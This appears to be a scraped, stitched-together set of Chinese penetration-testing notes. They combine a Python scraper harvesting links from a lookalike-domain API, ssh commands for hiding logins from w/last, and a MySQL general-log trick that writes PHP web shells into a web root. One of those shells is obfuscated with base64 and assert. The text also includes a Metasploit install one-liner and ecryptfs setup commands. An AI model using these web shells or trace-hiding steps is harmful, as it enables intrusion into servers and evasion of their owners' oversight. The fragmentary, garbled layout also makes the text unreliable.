Bugcloud-POC
1 | #!/usr/bin/env python |
Bugcloud-POC
1 | #!/usr/bin/env python |
APK–API1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Created on Sat Apr 28 15:52:59 2018
@author: root
"""
import requests
import time
import datetime
import re
import random
headers = {
'Accept-Language': 'zh-CN,zh;q=0.8',
'Host': 'www.js.baidu.com.ylgsrnzxlxpyb9cenfdfef6g.com',
'Accept-Encoding': 'gzip',
'cookie': '__cfduid=dbc9ff34639e222aa9cc0eb395de4d41b1539066777',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0',
}
def get_page(url):
try:
response = requests.get(url, headers=headers)
if response.status_code == 200:
return response.json()
except requests.ConnectionError as e:
print('Error', e.args)
if __name__ == '__main__':
page = 0
while (1):
url = "http://www.js.baidu.com.ylgsrnzxlxpyb9cenfdfef6g.com/api/public/?service=Video.getNearby&uid=-1&lng=0.0&lat=0.0&p=" + str(page)
# print(url)
time.sleep(random.randint(1,10))
json_dict = get_page(url)
print(page)
page = page + 1
# print(json_dict)
items = json_dict['data']['info']
for item in items:
uid = item['uid']
href = item['href']
with open("urlaaaaa.txt", 'a+') as f:
f.write(href)
continue
w和last命令内不显示登录痕迹
ssh -lroot 127.0.0.1 /usr/bin/bash #登录之后直接调用bash
ssh -lroot 127.0.0.1 /usr/bin/ls #登录之后直接调用命令
ssh -T root@127.0.0.1 /usr/bin/bash -i # -T表示不分配伪终端 -i表示是交互式shell
查找登录痕迹
lsof -i:22 | grep EST
ps -ef | grep ssh
历史痕迹:
/var/log/secure
/var/log/auth.log
给定域名、部分IP:
整理成C段IP,
1 | #!/usr/bin/python |
1 | #!/usr/bin/env python |
MySQL ROOT:
show variables like '%general%';
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['cmd']));?>";
set global general_log = off;
本来一开始是在Vps上直接安装的MSF,想安装的可以试试,附一键脚本:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall && ./msfinstall
apt-get install ecryptfs-utils
modprobe ecryptfs #Load the ecryptfs kernel driver
ecryptfs-setup-private ##default
ecryptfs-umount-private # to unmount
ecryptfs-mount-private # to mount it again,Switch to another directory except home
#######
ecryptfs-setup-private --noautoumount # avoid ecryptfs auto mount at login